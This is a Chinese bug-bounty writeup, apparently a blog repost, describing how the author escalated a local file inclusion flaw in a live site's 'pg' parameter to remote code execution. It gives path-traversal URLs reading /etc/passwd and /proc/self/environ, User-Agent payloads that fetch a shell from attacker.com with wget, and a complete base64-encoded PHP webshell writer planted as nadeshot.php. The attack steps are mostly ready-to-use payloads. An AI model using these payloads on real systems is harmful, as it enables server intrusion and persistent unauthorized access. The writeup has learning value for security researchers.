tc写入txt成功却没有内容_挖洞经验 | 构造UserAgent请求头内容实现LFI到RCE提权

fd3e4008fc2b7608c3432980639ac36f.png本文分享的Writeup是作者近期针对某20000+用户网站,通过对请求User-Agent内容构造,成功实现从本地文件包含漏洞(LFI)到远程代码执行漏洞(RCE)的提权。

发现LFI漏洞

以下为目标网站的Contact Us链接路径:

https://www.website.com/index.php?pg=contact.php

2110274bb1d46fff36aa485e19402f7a.png

经过对pg参数的fuzz,我发现其中存在LFI漏洞,可以用../../../../etc/passwd直接读出系统密码信息:

https://www.website.com/index.php?pg=../../../../etc/passwd

a37649c10d4b1a802ee49e6290a58d49.png

从LFI到RCE

要想把LFI提权到RCE, 我又发现另一个可读路径/proc/self/environ,于是我有了以下构造:

https://www.website.com/index.php?pg=../../../../proc/self/environ

76420dafef720ed720a68f08d1c203ff.png
很好,从其输出中可以看到,其中包含了如HTTP_USER_AGENT等一些环境变量参数:

9dfa0da59876563fa86a6f07f5458ee1.png不错,开启BurpSuite,用system()方法更改请求中的User-Agent值:

User-Agent: <?system (‘wget http://attacker.com/shell.txt -O shell.php’);?>

不行,无效。再试试exec()方法:

User-Agent: <?exec (‘wget http://attacker.com/shell.txt -O shell.php’);?>

也是不行,无效。那用phpinit()试试:

User-Agent: <?php phpinfo(); ?>

折腾了一阵后,我差点忘了我是可以向目标网站服务器写东西的啊,于是我就又在User-Agent头中构造了以下Payload:

User-Agent: <?php  $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm 9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

解释上述构造的Payload

上述构造使用的最终Payload是一个base64编码的webshell,原代码文件存在于Github库中-https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php,其大概造型为:

$a = base64_decode(‘webshell_base64_encoded_code_here’);

然后我们向服务器中写入了一个名为nadeshot.php的文件:

$file = fopen(‘nadeshot.php’,’w’);

然后服务器会把base64编码的上述文件写入nadeshot.php文件:

echo fwrite($file,$a);

再保存文件:

fclose($file);

上述请求Payload执行后的BurpSuite动作如下:acc5960dd05b3782e0c2bbd702a0ded5.png

响应成功。希望我们的Webshell可以成功,访问https://website.com/nadeshot.php试试看:

2c2773ddcb2e84d4401bdebe2d96eb57.pngWebshell写入成功,保存为了nadeshot.php,太好了,我们再接着往里写入nadeshot.txt文件试试:

250feed43cc65b5828ed47d5cda60076.png

然后访问https://website.com/nadeshot.txt,一样有效:

6ec9303fd32bbb7613927bdc1d3474bc.png就这样,成功实现了从LFI到RCE的提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值